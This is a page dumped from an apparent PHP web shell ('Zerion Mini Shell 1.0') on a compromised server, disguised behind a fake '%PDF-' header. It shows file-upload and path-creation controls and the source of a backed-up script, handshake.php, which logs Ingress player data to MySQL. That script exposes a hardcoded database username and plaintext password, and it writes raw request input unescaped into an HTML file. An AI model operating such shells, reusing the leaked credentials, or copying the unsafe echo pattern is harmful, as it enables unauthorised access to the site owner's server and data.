%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /data/www_bck/varak.net_bck/broot.varak.net/
Upload File :
Create Path :
Current File : //data/www_bck/varak.net_bck/broot.varak.net/handshake.php

<?php
ob_start();
$rawdata = file_get_contents("php://input");
include "dibi.php";
dibi::connect(array(
    'driver' => 'mysql',
    'host' => 'localhost',
    'username' => 'waritko',
    'password' => 'blade666',
    'database' => 'ingress',
    'charset' => 'utf8',
));

$data = json_decode(substr($rawdata, 4));
echo $rawdata;
print_r($data);

$guid = $data->result->playerEntity[0];
$nick = $data->result->nickname;
$ap = $data->result->playerEntity[2]->playerPersonal->ap;

dibi::test("replace into [players_handshake]([guid], [nickname], [ap]) values(%s, %s, %i)", $guid, $nick, $ap);
dibi::query("replace into [players_handshake]([guid], [nickname], [ap]) values(%s, %s, %i)", $guid, $nick, $ap);
$txt = ob_get_clean();
file_put_contents("handshake.html", $txt);
echo $txt;
?>

Zerion Mini Shell 1.0